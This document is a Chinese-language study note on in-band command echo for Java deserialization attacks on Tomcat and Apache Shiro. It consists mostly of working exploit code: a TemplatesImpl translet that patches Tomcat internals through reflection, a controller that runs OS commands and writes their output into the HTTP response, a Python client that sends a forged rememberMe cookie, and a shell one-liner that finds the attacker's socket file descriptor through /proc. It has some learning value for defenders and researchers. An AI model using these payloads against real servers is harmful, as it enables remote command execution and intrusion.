1. request 和 response
因为之前学习filter内存马时涉及到获取request和response的问题,这里详细记录一下
参考三梦师傅的文章https://xz.aliyun.com/t/7348
使用lastServicedRequest和lastServicedResponse
java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/**
* @author threedr3am
*/
public class TomcatEchoInject extends AbstractTranslet {
static {
try {
/*刚开始反序列化后执行的逻辑*/
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
另一种方式https://zhuanlan.zhihu.com/p/114625962
根据网上查到的追踪到Http11Processor,具体位置如下

向上推,AbstractProtocol中会调用register方法把processor存到global中

CoyoteAdapter中
如果request为null,会去调用org.apache.catalina.connector.Request
而connector中的protocolHandler可以为AbstractProtocol
最后在Tomcat启动过程中会将Connector放入Service中
此处service为StandardService,add方法为

大佬将完整代码放到了ysoserial中,关键代码截了一下大概这段,两种方法,另一种借鉴了
https://zhuanlan.zhihu.com/p/162009205
java
package com.controller;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Processor;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.concurrent.ConcurrentHashMap;
@Controller
public class UploadController {
@ResponseBody
@RequestMapping({"/upload"})
public String upload() throws IOException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
String string = "1231231";
Field contextField = StandardContext.class.getDeclaredField("context");
Field serviceField = ApplicationContext.class.getDeclaredField("service");
// 因为在AbstractHttp11Protocol类中,没有getHandler接口, 所以要调用父类的函数
Method getHandlerMethod = AbstractProtocol.class.getDeclaredMethod("getHandler", null);
contextField.setAccessible(true);
serviceField.setAccessible(true);
getHandlerMethod.setAccessible(true);
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
ApplicationContext applicationContext = (ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
StandardService standardService = (StandardService) serviceField.get(applicationContext);
Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof AbstractHttp11Protocol) {
Class[] classes = AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
System.out.println(classes[j].getName());
Object object = getHandlerMethod.invoke(protocolHandler, null);
// Object object = ((Http11NioProtocol) protocolHandler).getHandler();
Field field = object.getClass().getDeclaredField("connections");
field.setAccessible(true);
ConcurrentHashMap concurrentHashMap = (ConcurrentHashMap) field.get(object);
for (Object processor : concurrentHashMap.values()) {
org.apache.coyote.Request request = ((Processor) processor).getRequest();
Request request1 = (Request) request.getNote(1);
String output = "testtesttesttest";
Writer writer = request1.getResponse().getWriter();
System.out.println(request1.getResponse().getClass().getName());
Field usingWriter = request1.getResponse().getClass().getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(request1.getResponse(), Boolean.FALSE);
writer.write(output);
writer.flush();
break;
}
break;
}
}
}
}
}
return "123123";
}
@ResponseBody
@RequestMapping({"/cmd"})
public String cmd() throws NoSuchFieldException, NoSuchMethodException, IllegalAccessException, IOException, InvocationTargetException {
String param = "cmd";
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
contextField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// if ("tomcat".equals(tempRequest.getHeader("tomcat"))) {
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
String cmd = "calc.exe";
String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream in = null;
try {
in = Runtime.getRuntime().exec(cmds).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = request.getResponse().getWriter();
java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(request.getResponse(), Boolean.FALSE);
writer.write(output);
try {
writer.flush();
} catch (IOException e) {
e.printStackTrace();
}
break;
// }
}
break;
}
}
}
}
}
return "114514";
}
}
2. linux文件描述符
参考文章:https://xz.aliyun.com/t/7307
核心原理:Socket、Inode 与源端口的映射关系
在 Linux 系统中"一切皆文件",Web 服务器与客户端建立的 TCP 连接也会被分配一个文件描述符(FD)。
获取 Inode:在 /proc//fd/ 目录下,代表网络连接的软链接通常以 socket:[inode] 的形式存在,括号里的数字就是该连接的 inode 号。
匹配 TCP 表:这个 inode 号同时也会记录在系统的 TCP 状态表(/proc/net/tcp 或 /proc/net/tcp6)中。
定位源端口:TCP 表中的每一条信息都唯一对应一条连接,其中的 remote_address 字段记录了远程连接(即攻击者客户端)的 IP 和端口号。
破局思路:如果我们(攻击者)在发起 HTTP 请求时,强行指定一个特征源端口,那么我们只需要在目标服务器上通过 shell 命令查找带有这个特定源端口的 TCP 连接记录,就能拿到对应的 inode 号,进而精准锁定对应的文件描述符(FD)数字。拿到 FD 后,利用 Java 反射打开它并写入命令执行结果,即可实现带内回显。
具体实现细节
首先注意到socket后面的数字不同,这个数字实际上是inode号。这个inode号也出现在/proc/net/tcp中。
注意到每一个inode号对应唯一条tcp连接信息,并且这条信息中的remote_address项记录了远程连接的ip和端口号。说到这里其实获取socket思路就很明显了:通过指定客户端发起请求的源端口号,通过cat grep awk组合大法在tcp表中拿到inode,用拿到的inode号再去fd目录下再用cat grep wak大法拿到文件描述符的数字,再调用java代码打开文件描述符即可实现带内回显。

实现细节
指定端口号
requests库可以重新实现Http达到指定请求端口的目的。
python
class SourcePortAdapter(HTTPAdapter):
""""Transport adapter" that allows us to set the source port."""
def __init__(self, port, *args, **kwargs):
self._source_port = port
super(SourcePortAdapter, self).__init__(*args, **kwargs)
def init_poolmanager(self, connections, maxsize, block=False):
self.poolmanager = PoolManager(
num_pools=connections, maxsize=maxsize,
block=block, source_address=('', self._source_port))
s = requests.Session()
s.mount(target, SourcePortAdapter(randNum))
resp = s.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=5, headers=headers, verify=False)
获取socket对应的文件描述符
整个流程使用的命令如下:
bash
a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b
往文件描述中写数据
现在假设shiro存在反序列化并且所用gadget的末端是走的TemplatesImpl,那么我们可以把ysoserial中的硬编码的命令执行改成下面这样的代码执行。
java
String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
int num = Integer.valueOf(stringBuilder.toString()).intValue();
cmd = new String[]{"/bin/sh","-c","ifconfig"};
in = Runtime.getRuntime().exec(cmd).getInputStream();
isr = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
String ret = stringBuilder.toString();
java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)}));
os.write(ret.getBytes());
os.close();